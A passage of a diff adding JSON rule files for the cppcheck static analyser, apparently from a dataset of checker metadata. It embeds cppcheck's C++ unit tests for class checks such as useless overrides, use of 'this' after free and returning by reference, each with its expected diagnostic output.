checkUselessOverride(\"struct B { virtual void f(int, int, int) const; };\\n\" // #11799\n \"struct D : B {\\n\"\n \" int m = 42;\\n\"\n \" void f(int a, int b, int c) const override;\\n\"\n \"};\\n\"\n \"void D::f(int a, int b, int c) const {\\n\"\n \" B::f(a, b, m);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #11803\n \" virtual void f();\\n\"\n \" virtual void f(int i);\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { B::f(); }\\n\"\n \" void f(int i) override;\\n\"\n \" void g() { f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(); };\\n\" // #11808\n \"struct D : B { void f() override {} };\\n\"\n \"struct D2 : D {\\n\"\n \" void f() override {\\n\"\n \" B::f();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" virtual int f() { return 1; }\\n\"\n \" virtual int g() { return 7; }\\n\"\n \" virtual int h(int i, int j) { return i + j; }\\n\"\n \" virtual int j(int i, int j) { return i + j; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return 2; }\\n\"\n \" int g() override { return 7; }\\n\"\n \" int h(int j, int i) override { return i + j; }\\n\"\n \" int j(int i, int j) override { return i + j; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:9:9]: (style) The function 'g' overrides a function in a base class but is identical to the overridden function [uselessOverride]\\n\"\n \"[test.cpp:5:17] -> [test.cpp:11:9]: (style) The function 'j' overrides a function in a base class but is identical to the overridden function [uselessOverride]\\n\",\n errout_str());\n\n checkUselessOverride(\"struct B : std::exception {\\n\"\n \" virtual void f() { throw *this; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { throw *this; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"#define MACRO virtual void f() {}\\n\"\n \"struct B {\\n\"\n \" MACRO\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" MACRO\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" B() = default;\\n\"\n \" explicit B(int i) : m(i) {}\\n\"\n \" int m{};\\n\"\n \" virtual int f() const { return m; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" explicit D(int i) : m(i) {}\\n\"\n \" int m{};\\n\"\n \" int f() const override { return m; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" int g() const;\\n\"\n \" virtual int f() const { return g(); }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g() const;\\n\"\n \" int f() const override { return g(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"#define MACRO 1\\n\"\n \"struct B { virtual int f() { return 1; } };\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return MACRO; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #12706\n \" virtual void f() { g(); }\\n\"\n \" void g() { std::cout << \\\"Base\\\\n\\\"; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { g(); }\\n\"\n \" virtual void g() { std::cout << \\\"Derived\\\\n\\\"; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #12946\n \" virtual int f() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return b.f(); }\\n\"\n \" B b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkUnsafeClassRefMember(...) checkUnsafeClassRefMember_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkUnsafeClassRefMember_(const char* file, int line, const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).build();\n settings.safeChecks.classes = true;\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkUnsafeClassRefMember)();\n }\n\n void unsafeClassRefMember() {\n checkUnsafeClassRefMember(\"class C { C(const std::string &s) : s(s) {} const std::string &s; };\");\n ASSERT_EQUALS(\"[test.cpp:1:37]: (warning) Unsafe class: The const reference member 'C::s' is initialized by a const reference constructor argument. You need to be careful about lifetime issues. [unsafeClassRefMember]\\n\", errout_str());\n }\n\n\n#define checkThisUseAfterFree(...) checkThisUseAfterFree_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkThisUseAfterFree_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n (checkClass.checkThisUseAfterFree)();\n }\n\n void thisUseAfterFree() {\n setMultiline();\n\n // Calling method..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete mInstance; hello(); }\\n\"\n \"private:\\n\"\n \" static C *mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:38]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:38]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { mInstance.reset(); hello(); }\\n\"\n \"private:\\n\"\n \" static std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:39]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:29]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:39]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { reset(); hello(); }\\n\"\n \"private:\\n\"\n \" static std::shared_ptr mInstance;\\n\"\n \" void hello();\\n\"\n \" void reset() { mInstance.reset(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:29]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:29]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:7:18]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:29]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Use member..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x = 123; }\\n\"\n \"private:\\n\"\n \" static C *self;\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:33]: warning: Using member 'x' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'self' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'self', invalidating 'this'\\n\"\n \"[test.cpp:3:33]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x[1] = 123; }\\n\"\n \"private:\\n\"\n \" static C *self;\\n\"\n \" std::map x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:33]: warning: Using member 'x' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'self' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'self', invalidating 'this'\\n\"\n \"[test.cpp:3:33]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Assign 'shared_from_this()' to non-static smart pointer\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void hold() { mInstance = shared_from_this(); }\\n\"\n \" void dostuff() { mInstance.reset(); hello(); }\\n\"\n \"private:\\n\"\n \" std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:39]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:6:22]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:4:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:4:39]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Avoid FP..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x = 123; }\\n\"\n \"private:\\n\"\n \" C *self;\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void hold() { mInstance = shared_from_this(); }\\n\"\n \" void dostuff() { if (x) { mInstance.reset(); return; } hello(); }\\n\"\n \"private:\\n\"\n \" std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const QString& path) : mPath( path ) {}\\n\"\n \"\\n\"\n \" static void initialize(const QString& path) {\\n\" // <- avoid fp in static method\n \" if (instanceSingleton)\\n\"\n \" delete instanceSingleton;\\n\"\n \" instanceSingleton = new C(path);\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" static C* instanceSingleton;\\n\"\n \"};\\n\"\n \"\\n\"\n \"C* C::instanceSingleton;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid false positive when pointer is deleted in lambda\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void foo();\\n\"\n \" void set() { p = this; }\\n\"\n \" void dostuff() {}\\n\"\n \" C* p;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::foo() {\\n\"\n \" auto done = [this] () { delete p; };\\n\"\n \" dostuff();\\n\"\n \" done();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\" // #13311\n \"public:\\n\"\n \" static void init();\\n\"\n \"private:\\n\"\n \" C();\\n\"\n \" static C* self;\\n\"\n \" bool use;\\n\"\n \"};\\n\"\n \"C::C() { use = true; }\\n\"\n \"void C::init() {\\n\"\n \" if (self)\\n\"\n \" delete self;\\n\"\n \" self = new C();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void ctu(const std::vector &code) {\n Check &check = getCheck();\n\n // getFileInfo\n std::list fileInfo;\n for (const std::string& c: code) {\n const std::string filename = std::to_string(fileInfo.size()) + \".cpp\";\n SimpleTokenizer tokenizer{settingsDefault, *this, filename};\n ASSERT(tokenizer.tokenize(c));\n fileInfo.push_back(check.getFileInfo(tokenizer, settingsDefault, \"\"));\n }\n\n // Check code..\n const CTU::FileInfo ctu;\n check.analyseWholeProgram(ctu, fileInfo, settingsDefault, *this); // TODO: check result\n\n while (!fileInfo.empty()) {\n delete fileInfo.back();\n fileInfo.pop_back();\n }\n }\n\n void ctuOneDefinitionRule() {\n ctu({\"class C { C() { std::cout << 0; } };\", \"class C { C() { std::cout << 1; } };\"});\n ASSERT_EQUALS(\"[1.cpp:1:1] -> [0.cpp:1:1]: (error) The one definition rule is violated, different classes/structs have the same name 'C' [ctuOneDefinitionRuleViolation]\\n\", errout_str());\n\n ctu({\"class C { C(); }; C::C() { std::cout << 0; }\", \"class C { C(); }; C::C() { std::cout << 1; }\"});\n ASSERT_EQUALS(\"[1.cpp:1:1] -> [0.cpp:1:1]: (error) The one definition rule is violated, different classes/structs have the same name 'C' [ctuOneDefinitionRuleViolation]\\n\", errout_str());\n\n ctu({\"class C { C() {} };\\n\", \"class C { C() {} };\\n\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu({\"class C { C(); }; C::C(){}\", \"class C { C(); }; C::C(){}\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu({\"class A::C { C() { std::cout << 0; } };\", \"class B::C { C() { std::cout << 1; } };\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n // 11435 - template specialisations\n const std::string header = \"template struct Test {};\\n\";\n ctu({header + \"template struct Test {};\\n\",\n header + \"template struct Test {};\\n\"});\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define getFileInfo(...) getFileInfo_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void getFileInfo_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n const Check& c = getCheck();\n Check::FileInfo * fileInfo = (c.getFileInfo)(tokenizer, settings1, \"\");\n\n delete fileInfo;\n }\n\n void testGetFileInfo() {\n getFileInfo(\"void foo() { union { struct { }; }; }\"); // don't crash\n getFileInfo(\"struct sometype { sometype(); }; sometype::sometype() = delete;\"); // don't crash\n }\n\n#define checkReturnByReference(...) checkReturnByReference_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkReturnByReference_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::performance).library(\"std.cfg\").build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkReturnByReference)();\n }\n\n void returnByReference() {\n checkReturnByReference(\"struct T { int a[10]; };\\n\" // #12546\n \"struct S {\\n\"\n \" T t;\\n\"\n \" int i;\\n\"\n \" std::string s;\\n\"\n \" T getT() const { return t; }\\n\"\n \" int getI() const { return i; }\\n\"\n \" std::string getS() const { return s; }\\n\"\n \" unknown_t f() { return; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (performance) Function 'getT()' should return member 't' by const reference. [returnByReference]\\n\"\n \"[test.cpp:8:17]: (performance) Function 'getS()' should return member 's' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct B {\\n\" // #12608\n \" virtual std::string f() { return \\\"abc\\\"; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" std::string f() override { return s; }\\n\"\n \" std::string s;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S {\\n\"\n \" std::string f(std::string s) { return s; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S { S(); };\\n\" // #12620\n \"S::S() = delete;\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n checkReturnByReference(\"struct S {\\n\" // #12626\n \" std::string s;\\n\"\n \" operator std::string_view() const { return s; }\\n\"\n \" std::string_view get() const { return s; }\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct U {\\n\"\n \" T t;\\n\"\n \" operator const T& () const { return t; }\\n\"\n \"};\\n\"\n \"U u;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S {\\n\" // #13011\n \" std::string s;\\n\"\n \" const std::string& foo() const & { return s; }\\n\"\n \" std::string foo() && { return s; }\\n\" // <- used for temporary objects\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S1 {\\n\" // #13056\n \" std::string str;\\n\"\n \" struct T { std::string strT; } mT;\\n\"\n \"};\\n\"\n \"struct S2 {\\n\"\n \" std::string get1() const {\\n\"\n \" return mS1->str;\\n\"\n \" }\\n\"\n \" std::string get2() const {\\n\"\n \" return mS1->mT.strT;\\n\"\n \" }\\n\"\n \" S1* mS1;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (performance) Function 'get1()' should return member 'str' by const reference. [returnByReference]\\n\"\n \"[test.cpp:9:17]: (performance) Function 'get2()' should return member 'strT' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct S { std::string str; };\\n\" // #13059\n \"struct T {\\n\"\n \" S temp() const;\\n\"\n \" S s[1];\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" std::string get1() const {\\n\"\n \" return t.temp().str;\\n\"\n \" }\\n\"\n \" std::string get2() const {\\n\"\n \" return t.s[0].str;\\n\"\n \" }\\n\"\n \" T t;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:17]: (performance) Function 'get2()' should return member 'str' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct S {\\n\" // #13845\n \" std::string m;\\n\"\n \" std::string get() { return m; }\\n\"\n \"};\\n\"\n \"std::string f(std::optional o) {\\n\"\n \" return o.transform(&S::get).value_or(\\\"\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestClass)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkUnsafeClassRefMember.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkUnsafeClassRefMember.json new file mode 100644 index 0000000..ed7cdb8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkUnsafeClassRefMember.json @@ -0,0 +1,22 @@ +{ + "name": "checkUnsafeClassRefMember", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 21, + "branches": 7, + "apis": 29, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 8967 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"check.h\"\n#include \"checkclass.h\"\n#include \"ctu.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n#include \n#include \n#include \n\nclass TestClass : public TestFixture {\npublic:\n TestClass() : TestFixture(\"TestClass\") {}\n\nprivate:\n const Settings settings0 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").build();\n const Settings settings1 = settingsBuilder().severity(Severity::warning).library(\"std.cfg\").build();\n const Settings settings2 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").certainty(Certainty::inconclusive).build();\n const Settings settings3 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").severity(Severity::warning).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(virtualDestructor1); // Base class not found => no error\n TEST_CASE(virtualDestructor2); // Base class doesn't have a destructor\n TEST_CASE(virtualDestructor3); // Base class has a destructor, but it's not virtual\n TEST_CASE(virtualDestructor4); // Derived class doesn't have a destructor => no error\n TEST_CASE(virtualDestructor5); // Derived class has empty destructor => no error\n TEST_CASE(virtualDestructor6); // only report error if base class pointer that points at derived class is deleted\n TEST_CASE(virtualDestructorProtected);\n TEST_CASE(virtualDestructorInherited);\n TEST_CASE(virtualDestructorTemplate);\n\n TEST_CASE(virtualDestructorInconclusive); // ticket # 5807\n\n TEST_CASE(copyConstructor1);\n TEST_CASE(copyConstructor2); // ticket #4458\n TEST_CASE(copyConstructor3); // defaulted/deleted\n TEST_CASE(copyConstructor4); // base class with private constructor\n TEST_CASE(copyConstructor5); // multiple inheritance\n TEST_CASE(copyConstructor6); // array of pointers\n TEST_CASE(deletedMemberPointer); // deleted member pointer in destructor\n TEST_CASE(noOperatorEq); // class with memory management should have operator eq\n TEST_CASE(noDestructor); // class with memory management should have destructor\n\n TEST_CASE(operatorEqRetRefThis1);\n TEST_CASE(operatorEqRetRefThis2); // ticket #1323\n TEST_CASE(operatorEqRetRefThis3); // ticket #1405\n TEST_CASE(operatorEqRetRefThis4); // ticket #1451\n TEST_CASE(operatorEqRetRefThis5); // ticket #1550\n TEST_CASE(operatorEqRetRefThis6); // ticket #2479\n TEST_CASE(operatorEqRetRefThis7); // ticket #5782 endless recursion\n TEST_CASE(operatorEqToSelf1); // single class\n TEST_CASE(operatorEqToSelf2); // nested class\n TEST_CASE(operatorEqToSelf3); // multiple inheritance\n TEST_CASE(operatorEqToSelf4); // nested class with multiple inheritance\n TEST_CASE(operatorEqToSelf5); // ticket # 1233\n TEST_CASE(operatorEqToSelf6); // ticket # 1550\n TEST_CASE(operatorEqToSelf7);\n TEST_CASE(operatorEqToSelf8); // ticket #2179\n TEST_CASE(operatorEqToSelf9); // ticket #2592\n\n TEST_CASE(memsetOnStruct);\n TEST_CASE(memsetVector);\n TEST_CASE(memsetOnClass);\n TEST_CASE(memsetOnInvalid); // Ticket #5425: Crash upon invalid\n TEST_CASE(memsetOnStdPodType); // Ticket #5901 - std::uint8_t\n TEST_CASE(memsetOnFloat); // Ticket #5421\n TEST_CASE(memsetOnUnknown); // Ticket #7183\n TEST_CASE(mallocOnClass);\n\n TEST_CASE(this_subtraction); // warn about \"this-x\"\n\n // can member function be made const\n TEST_CASE(const1);\n TEST_CASE(const2);\n TEST_CASE(const3);\n TEST_CASE(const4);\n TEST_CASE(const5); // ticket #1482\n TEST_CASE(const6); // ticket #1491\n TEST_CASE(const7);\n TEST_CASE(const8); // ticket #1517\n TEST_CASE(const9); // ticket #1515\n TEST_CASE(const10); // ticket #1522\n TEST_CASE(const11); // ticket #1529\n TEST_CASE(const12); // ticket #1552\n TEST_CASE(const13); // ticket #1519\n TEST_CASE(const14);\n TEST_CASE(const15);\n TEST_CASE(const16); // ticket #1551\n TEST_CASE(const17); // ticket #1552\n TEST_CASE(const18);\n TEST_CASE(const19); // ticket #1612\n TEST_CASE(const20); // ticket #1602\n TEST_CASE(const21); // ticket #1683\n TEST_CASE(const22);\n TEST_CASE(const23); // ticket #1699\n TEST_CASE(const24); // ticket #1708\n TEST_CASE(const25); // ticket #1724\n TEST_CASE(const26); // ticket #1847\n TEST_CASE(const27); // ticket #1882\n TEST_CASE(const28); // ticket #1883\n TEST_CASE(const29); // ticket #1922\n TEST_CASE(const30);\n TEST_CASE(const31);\n TEST_CASE(const32); // ticket #1905 - member array is assigned\n TEST_CASE(const33);\n TEST_CASE(const34); // ticket #1964\n TEST_CASE(const35); // ticket #2001\n TEST_CASE(const36); // ticket #2003\n TEST_CASE(const37); // ticket #2081 and #2085\n TEST_CASE(const38); // ticket #2135\n TEST_CASE(const39);\n TEST_CASE(const40); // ticket #2228\n TEST_CASE(const41); // ticket #2255\n TEST_CASE(const42); // ticket #2282\n TEST_CASE(const43); // ticket #2377\n TEST_CASE(const44); // ticket #2595\n TEST_CASE(const45); // ticket #2664\n TEST_CASE(const46); // ticket #2636\n TEST_CASE(const47); // ticket #2670\n TEST_CASE(const48); // ticket #2672\n TEST_CASE(const49); // ticket #2795\n TEST_CASE(const50); // ticket #2943\n TEST_CASE(const51); // ticket #3040\n TEST_CASE(const52); // ticket #3048\n TEST_CASE(const53); // ticket #3049\n TEST_CASE(const54); // ticket #3052\n TEST_CASE(const55);\n TEST_CASE(const56); // ticket #3149\n TEST_CASE(const57); // tickets #2669 and #2477\n TEST_CASE(const58); // ticket #2698\n TEST_CASE(const59); // ticket #4646\n TEST_CASE(const60); // ticket #3322\n TEST_CASE(const61); // ticket #5606\n TEST_CASE(const62); // ticket #5701\n TEST_CASE(const63); // ticket #5983\n TEST_CASE(const64); // ticket #6268\n TEST_CASE(const65); // ticket #8693\n TEST_CASE(const66); // ticket #7714\n TEST_CASE(const67); // ticket #9193\n TEST_CASE(const68); // ticket #6471\n TEST_CASE(const69); // ticket #9806\n TEST_CASE(const70); // variadic template can receive more arguments than in its definition\n TEST_CASE(const71); // ticket #10146\n TEST_CASE(const72); // ticket #10520\n TEST_CASE(const73); // ticket #10735\n TEST_CASE(const74); // ticket #10671\n TEST_CASE(const75); // ticket #10065\n TEST_CASE(const76); // ticket #10825\n TEST_CASE(const77); // ticket #10307, #10311\n TEST_CASE(const78); // ticket #10315\n TEST_CASE(const79); // ticket #9861\n TEST_CASE(const80); // ticket #11328\n TEST_CASE(const81); // ticket #11330\n TEST_CASE(const82); // ticket #11513\n TEST_CASE(const83);\n TEST_CASE(const84);\n TEST_CASE(const85);\n TEST_CASE(const86);\n TEST_CASE(const87);\n TEST_CASE(const88);\n TEST_CASE(const89);\n TEST_CASE(const90);\n TEST_CASE(const91);\n TEST_CASE(const92);\n TEST_CASE(const93);\n TEST_CASE(const94);\n TEST_CASE(const95); // #13320 - do not warn about r-value ref method\n TEST_CASE(const96);\n TEST_CASE(const97);\n TEST_CASE(const98);\n TEST_CASE(const99);\n TEST_CASE(const100);\n\n TEST_CASE(const_handleDefaultParameters);\n TEST_CASE(const_passThisToMemberOfOtherClass);\n TEST_CASE(assigningPointerToPointerIsNotAConstOperation);\n TEST_CASE(assigningArrayElementIsNotAConstOperation);\n TEST_CASE(constoperator1); // operator< can often be const\n TEST_CASE(constoperator2); // operator<<\n TEST_CASE(constoperator3);\n TEST_CASE(constoperator4);\n TEST_CASE(constoperator5); // ticket #3252\n TEST_CASE(constoperator6); // ticket #8669\n TEST_CASE(constincdec); // increment/decrement => non-const\n TEST_CASE(constassign1);\n TEST_CASE(constassign2);\n TEST_CASE(constincdecarray); // increment/decrement array element => non-const\n TEST_CASE(constassignarray);\n TEST_CASE(constReturnReference);\n TEST_CASE(constDelete); // delete member variable => not const\n TEST_CASE(constLPVOID); // a function that returns LPVOID can't be const\n TEST_CASE(constFunc); // a function that calls const functions can be const\n TEST_CASE(constVirtualFunc);\n TEST_CASE(constIfCfg); // ticket #1881 - fp when there are #if\n TEST_CASE(constFriend); // ticket #1921 - fp for friend function\n TEST_CASE(constUnion); // ticket #2111 - fp when there is a union\n TEST_CASE(constArrayOperator); // #4406\n TEST_CASE(constRangeBasedFor); // #5514\n TEST_CASE(const_shared_ptr);\n TEST_CASE(constPtrToConstPtr);\n TEST_CASE(constTrailingReturnType);\n TEST_CASE(constRefQualified);\n TEST_CASE(staticArrayPtrOverload);\n TEST_CASE(qualifiedNameMember); // #10872\n\n TEST_CASE(initializerListOrder);\n TEST_CASE(initializerListArgument);\n TEST_CASE(initializerListUsage);\n TEST_CASE(selfInitialization);\n\n TEST_CASE(virtualFunctionCallInConstructor);\n TEST_CASE(pureVirtualFunctionCall);\n TEST_CASE(pureVirtualFunctionCallOtherClass);\n TEST_CASE(pureVirtualFunctionCallWithBody);\n TEST_CASE(pureVirtualFunctionCallPrevented);\n\n TEST_CASE(duplInheritedMembers);\n TEST_CASE(explicitConstructors);\n TEST_CASE(copyCtorAndEqOperator);\n\n TEST_CASE(override1);\n TEST_CASE(overrideCVRefQualifiers);\n\n TEST_CASE(uselessOverride);\n\n TEST_CASE(thisUseAfterFree);\n\n TEST_CASE(unsafeClassRefMember);\n\n TEST_CASE(ctuOneDefinitionRule);\n\n TEST_CASE(testGetFileInfo);\n\n TEST_CASE(returnByReference);\n }\n\n#define checkCopyCtorAndEqOperator(...) checkCopyCtorAndEqOperator_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkCopyCtorAndEqOperator_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::warning).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkCopyCtorAndEqOperator)();\n }\n\n void copyCtorAndEqOperator() {\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \" int x;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1]: (warning) The class 'A' has 'copy constructor' but lack of 'operator='.\\n\", \"\", errout_str());\n // TODO the error message should be clarified. It should say something like 'copy constructor is empty and will not assign i and therefore the behaviour is different to the default assignment operator'\n\n 